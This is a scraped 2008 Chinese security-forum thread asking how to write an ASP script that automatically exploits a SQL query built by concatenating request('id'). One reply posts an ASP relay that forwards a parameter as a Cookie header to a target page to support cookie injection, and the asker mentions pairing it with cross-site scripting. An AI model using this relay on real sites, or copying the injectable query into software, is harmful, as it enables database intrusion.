【3.A.S.T】网络安全爱好者 » 技术交流 » [讨论]请问如何用ASP写自动注入脚本？

s37su37 发表于 2008-7-20 18:01

[讨论]请问如何用ASP写自动注入脚本？

[url=http://forum.eviloctal.com/misc.php?action=viewratings&tid=33447&pid=145065][img]http://forum.eviloctal.com/images/default/disagree.gif[/img][/url]
[讨论]请问如何用ASP写自动注入脚本？
议题作者：落叶纷飞
信息来源：邪恶八进制信息安全团队（[url=http://www.eviloctal.com/]www.eviloctal.com[/url]）

请问如何用ASP写自动注入脚本啊？

漏洞代码如：
......
select * from news where id = & request("id") &

......

该如何写自动注入脚本呢？

oscar 发表于 2008-7-20 18:01

没明白你的意思，何谓“自动注入”I love amethyst！
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url]
帖子177 精华[url=http://forum.eviloctal.com/digest.php?authorid=72637]0[/url] 积分3591 阅读权限100 性别男 来自浙江 在线时间215 小时 注册时间2007-1-18 最后登录2008-7-18 [url=http://www.28ice.com/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=72637]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145117&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145117&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日，预测咨询，公司改名，权威易经[/url]

[url=http://forum.eviloctal.com/space-uid-56708.html]netbee201[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

gmcc-lxx 发表于 2008-7-20 18:01

你说的是自动防注入吧。。。
帖子2 精华[url=http://forum.eviloctal.com/digest.php?authorid=56708]0[/url] 积分7 阅读权限40 性别男 在线时间36 小时 注册时间2006-7-8 最后登录2008-7-20 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=56708]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145119&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145119&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日，预测咨询，公司改名，权威易经[/url]

[url=http://forum.eviloctal.com/space-uid-133543.html]落叶纷飞[/url] [img]http://forum.eviloctal.com/images/avatars/06.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

sj7981 发表于 2008-7-20 18:01

就是说，怎么写个脚本去对这个注入点进行注入啊？
帖子119 精华[url=http://forum.eviloctal.com/digest.php?authorid=133543]0[/url] 积分3244 阅读权限100 性别男 在线时间143 小时 注册时间2007-7-31 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=133543]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145137&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145137&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-53722.html]樱花浪子[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

佛硬 发表于 2008-7-20 18:01

欠钱弄过PHP的COOKIE注入程序，你可以把他那个拿过来改下，还是非要弄ASP的？？
帖子16 精华[url=http://forum.eviloctal.com/digest.php?authorid=53722]0[/url] 积分51 阅读权限100 在线时间52 小时 注册时间2006-6-17 最后登录2008-7-20 [url=http://www.hacklu.net]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=53722]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145149&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145149&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日，预测咨询，公司改名，权威易经[/url]

[url=http://forum.eviloctal.com/space-uid-133543.html]落叶纷飞[/url] [img]http://forum.eviloctal.com/images/avatars/06.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

融化冰河 发表于 2008-7-20 18:01

引用:
原帖由 樱花浪子 于 2008-6-28 23:01 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=145149&ptid=33447][img]http://forum.eviloctal.com/images/common/back.gif[/img][/url]
欠钱弄过PHP的COOKIE注入程序，你可以把他那个拿过来改下，还是非要弄ASP的？？
哪里有啊？？给我个地址好么？谢谢了

晕，我只是想用asp来实现，用asp来实现应该要用到xmlhttp把？？[img]http://forum.eviloctal.com/images/smilies/default/mad.gif[/img]
帖子119 精华[url=http://forum.eviloctal.com/digest.php?authorid=133543]0[/url] 积分3244 阅读权限100 性别男 在线时间143 小时 注册时间2007-7-31 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=133543]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145167&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145167&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]

[url=http://forum.eviloctal.com/space-uid-45620.html]独孤依人[/url] [img]http://forum.eviloctal.com/customavatars/45620.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

dgyys 发表于 2008-7-20 18:02

VBS可以实现，ASP发包太慢
不要说VBS和ASP没有区别
试试就知道了脚本安全小组：Www.Cnsst.Org MSN:cn557@hotmail.com  我们这帮兄弟，永远的兄弟——We are not the only ones,but we will try to be the best！——All In Script 脚本渗透自用利器开发中……
帖子298 精华[url=http://forum.eviloctal.com/digest.php?authorid=45620]12[/url] 积分3962 阅读权限100 性别男 在线时间901 小时 注册时间2006-4-22 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=45620]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145183&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145183&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]

[url=http://forum.eviloctal.com/space-uid-133543.html]落叶纷飞[/url] [img]http://forum.eviloctal.com/images/avatars/06.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

逍遥公子 发表于 2008-7-20 18:02

花了几天时间终于弄了出来~~~

其实我的主要目的是能直接在web页面注射~~~

配合跨站用,嘿嘿[img]http://forum.eviloctal.com/images/smilies/default/lol.gif[/img]小鸡鸡重出江湖了~~！！
帖子119 精华[url=http://forum.eviloctal.com/digest.php?authorid=133543]0[/url] 积分3244 阅读权限100 性别男 在线时间143 小时 注册时间2007-7-31 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=133543]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145317&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145317&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-66704.html]weknow[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

wahfen 发表于 2008-7-20 18:02

复制内容到剪贴板
代码:
<%
Str="id="&escape(request("FK"))
Url="http://localhost/test.asp"
response.write PostData(Url,Str)

Function PostData(PostUrl,PostCok)
  Dim Http
  Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
  With Http
    .Open "GET",PostUrl,False
    .SetRequestHeader "Cookie",PostCok
    .Send
    PostData = .ResponseBody
  End With
  Set Http = Nothing
  PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
  Dim strReturn
  Dim I, ThisCharCode, NextCharCode
  strReturn = ""
  For I = 1 To LenB(vIn)
    ThisCharCode = AscB(MidB(vIn, I, 1))
    If ThisCharCode < &H80 Then
      strReturn = strReturn & Chr(ThisCharCode)
    Else
      NextCharCode = AscB(MidB(vIn, I + 1, 1))
      strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
      I = I + 1
    End If
  Next
  bytes2BSTR = strReturn
End Function
%>
不知道是不是LZ要的
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=66704]0[/url] 积分29 阅读权限40 在线时间5 小时 注册时间2006-10-14 最后登录2008-7-9 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=66704]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145359&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145359&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-133543.html]落叶纷飞[/url] [img]http://forum.eviloctal.com/images/avatars/06.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

catao 发表于 2008-7-20 18:02

问题已解决拉,不过还是谢谢楼上的兄弟~~~[img]http://forum.eviloctal.com/images/smilies/default/lol.gif[/img]小鸡鸡重出江湖了~~！！
帖子119 精华[url=http://forum.eviloctal.com/digest.php?authorid=133543]0[/url] 积分3244 阅读权限100 性别男 在线时间143 小时 注册时间2007-7-31 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=133543]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145402&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145402&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-91948.html]zmhack[/url] [img]http://forum.eviloctal.com/images/avatars/pw/tm4.jpg[/img]
晶莹剔透§烈日灼然

咖啡豆 发表于 2008-7-20 18:02

有这么神奇吗 ASP还是没时间学d
[url=http://wpa.qq.com/msgrd?V=1&Uin=499862775&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子11 精华[url=http://forum.eviloctal.com/digest.php?authorid=91948]0[/url] 积分38 阅读权限40 在线时间15 小时 注册时间2007-3-16 最后登录2008-7-17 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=91948]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145408&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145408&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-37737.html]hum2049[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

超越 发表于 2008-7-20 18:02

靠，这种垃圾贴就不该留下，大家都在帮他解决，他自己解决了就闪一边去了，不管怎么样，你也应该吧如何解决问题 写出来吧！！！
帖子12 精华[url=http://forum.eviloctal.com/digest.php?authorid=37737]0[/url] 积分18 阅读权限40 性别男 在线时间17 小时 注册时间2006-3-10 最后登录2008-7-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=37737]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33447&repquote=145593&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33447&pid=145593&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-133543.html]落叶纷飞[/url] [img]http://forum.eviloctal.com/images/avatars/06.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

查看完整版本: [讨论]请问如何用ASP写自动注入脚本？